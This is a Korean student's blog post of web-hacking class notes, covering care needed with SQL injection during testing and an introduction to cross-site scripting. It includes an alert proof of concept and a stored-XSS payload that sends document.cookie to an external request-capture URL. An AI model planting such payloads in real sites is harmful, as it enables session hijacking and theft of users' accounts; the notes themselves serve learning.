6주차 수업

Peroro·2023년 5월 4일
0
post-custom-banner

SQL Injection

  • 직무에서 주의할 점
  1. 데이터 변조(insert, delete, update 구문 X.)
update .. where id = '' <- SQLI 가능함.
insert ... '' <- SQLI 가능함.
  • 테스트하다 DB 값이 바뀔 수 있음.
  • 만약 그쪽에 취약점이 있으면? -> 그 페이지 전체에 취약점이 있을 수 있다고 보고.
  1. 주석. 남용 X.

XSS

XSS란?

  • Cross site scripting: 클라이언트 측 코드를 삽입해, 피해자 컴퓨터(웹 브라우저)에서 실행되게 만드는 공격.
<script>alert('hello')</script>
  • 위와 같은 script에 alert 대신에 우리가 원하는 코드를 넣어 실행하게 만든다.
var i = new Image();
i.src = "attachk URL?cookie=" + document.cookie
  • 위와 같이 우리가 원하는 URL에 사용자의 cookie를 URL로 보낼 수 있다.
  • keylogger를 심어 사용자가 입력하는 값을 알아낼 수도 있다.
  • crypto miner를 사용해 강제로 가상화폐 채굴에 사용될 수도 있다.

특징

  • 서버 측에는 아무런 피해가 없다. 왜냐하면 이 공격은 클라이언트(웹 브라우저)를 타겟으로 한 공격이기 때문이다.
  • XSS의 경우 자주 발견되는 편이라고 한다.

어떻게?

  • 다른 사용자의 웹브라우저에 어떻게 삽입하게 해야할까?

서버에 삽입하는 경우.(ex.게시판)

  • POC 코드(증명용 코드)를 데이터를 서버로 보내고 다른 이용자들이 볼 수 있는 페이지(ex.게시판)에 올린다.
<script>alert('XSS')</script>

  • script 작성: 아래와 같이 수정해준다.

    <script>var i = new Image(); 
    i.src = "https://ent0n3lo6au6a.x.pipedream.net?cookie="+document.cookie</script>
  • 그러면 아래와 마찬가지로 Cookie값이 전달되는 것을 알 수 있다. 여기서는 웹페이지가 Cookie를 생성하지 않아 전달이 되지 않았다.

주의할 점

  • alert의 경우 증명용 코드이지, 필터링한다고 막히는 것이 아니다.
  • alert, prompt, confirm, location.href 등등으로 증명용 코드는 많다.
profile
오늘 공부한 것을 올리는 공간 / 일주일에 글 3개 / 블로그 이전 : https://perorochan321.tistory.com/
post-custom-banner

0개의 댓글